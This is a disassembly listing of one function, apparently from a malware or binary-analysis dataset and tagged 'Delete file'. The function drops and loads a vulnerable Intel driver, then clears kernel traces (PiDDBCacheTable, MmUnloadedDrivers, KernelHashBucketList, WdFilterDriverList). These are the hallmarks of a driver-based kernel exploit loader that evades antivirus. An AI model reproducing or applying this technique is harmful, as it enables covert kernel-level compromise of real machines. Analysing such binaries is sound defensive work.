Function at 0x140001680
Capabilities:
Delete file

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul esi, eax
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, [0x1401c17a0]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax + 1]
cmp rcx, 2
jae 0x140001890
xorps xmm0, xmm0
movaps xmmword [0x140211ea0], xmm0
movaps xmmword [0x140211e90], xmm0
movaps xmmword [0x140211e80], xmm0
movaps xmmword [0x140211e70], xmm0
movaps xmmword [0x140211e60], xmm0
movaps xmmword [0x140211e50], xmm0
mov dword [0x140211eb0], 0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rsi, eax
imul rax, rsi, 0x66666667
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x23
add eax, ecx
shl eax, 2
lea eax, [rax + rax*4]
sub esi, eax
cmp esi, 0xfffffff7
jl 0x1400017a7
add esi, 0xa
xor edi, edi
mov rbx, qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movabs r14, 0x4ec4ec4ec4ec4ec5
lea r15, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
lea r12, [0x140211e50]
nop
call rbx
movsxd rcx, eax
mov rax, rcx
mul r14
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [r15 + rcx]
mov byte [rdi + r12], al
inc rdi
cmp rsi, rdi
jne 0x140001780
lea rsi, [rbp + 8]
mov rcx, rsi
call fcn.140001380
cmp qword [rbp + 0x18], 0
je 0x1400018e1
cmp qword [rbp + 0x20], 8
mov rcx, rsi
jb 0x1400017cc
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
lea rdx, [0x1401c1810]
mov r8d, 0x8708
mov rcx, rsi
call fcn.14000a650
test al, al
je 0x140001929
mov rcx, rsi
call fcn.14000ab10
test al, al
je 0x14000196e
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea rcx, [0x1401c17a0]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
inc rax
cmp rax, 1
ja 0x140001a20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_load_driver
call fcn.140060410
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Stuck...
call fcn.140060410
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
mov rsi, 0xffffffffffffffff
jmp 0x140001a0b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_TEMP_folder
call fcn.140060410
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rsi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_create_vulnerable_driver_file
call fcn.140060410
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rsi, 0xffffffffffffffff
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
call fcn.140060410
mov rdi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp qword [rbp + 0x20], 8
jb 0x1400019b5
mov rsi, qword [rbp + 8]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
mov rsi, 0xffffffffffffffff
mov rax, qword [rbp + 0x20]
cmp rax, 8
jb 0x140001a0b
mov rcx, qword [rbp + 8]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001a06
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001c45
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.1401658ec
mov rax, rsi
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], ntohs
mov qword [rbp - 0x28], reloc.WS2_32.dll_ntohs
movabs rax, 0x6c6e726b736f746e
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 0x6578652e
lea rcx, [rbp - 0x40]
call fcn.14000a750
mov qword [0x140211e40], rax
mov r8, qword [rbp - 0x28]
cmp r8, 0x10
jb 0x140001aa3
mov rcx, qword [rbp - 0x40]
lea rdx, [r8 + 1]
cmp rdx, 0x1000
jb 0x140001a97
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001c45
add r8, 0x28
mov rdx, r8
mov rcx, rax
call fcn.1401658ec
mov rax, qword [0x140211e40]
test rax, rax
je 0x140001b5a
xorps xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
lea r8, [rbp - 0x40]
mov r9d, 0x40
mov rcx, rsi
mov rdx, rax
call fcn.140002000
test al, al
je 0x140001b89
movzx eax, word [rbp - 0x40]
cmp eax, 0x5a4d
jne 0x140001b89
mov rcx, rsi
call fcn.1400020b0
test al, al
je 0x140001bb8
mov rcx, rsi
call fcn.140002890
test al, al
je 0x140001be7
mov rcx, rsi
call fcn.140003450
test al, al
je 0x140001c16
mov rcx, rsi
call fcn.140003980
test al, al
jne 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearWdFilterDriverList
call fcn.140060bb0
mov rcx, rax
call fcn.140060800
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_get_ntoskrnl.exe
call fcn.140060410
mov rcx, rax
call fcn.140060800
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_exploit_intel_driver__is_there_any_antivirus_or_anticheat_running_
call fcn.140060410
mov rcx, rax
call fcn.140060800
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
call fcn.140060410
mov rcx, rax
call fcn.140060800
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearKernelHashBucketList
call fcn.140060410
mov rcx, rax
call fcn.140060800
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
call fcn.140060410
mov rcx, rax
call fcn.140060800
mov rcx, rsi
call fcn.140001cd0
mov rsi, 0xffffffffffffffff
jmp 0x1400019c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3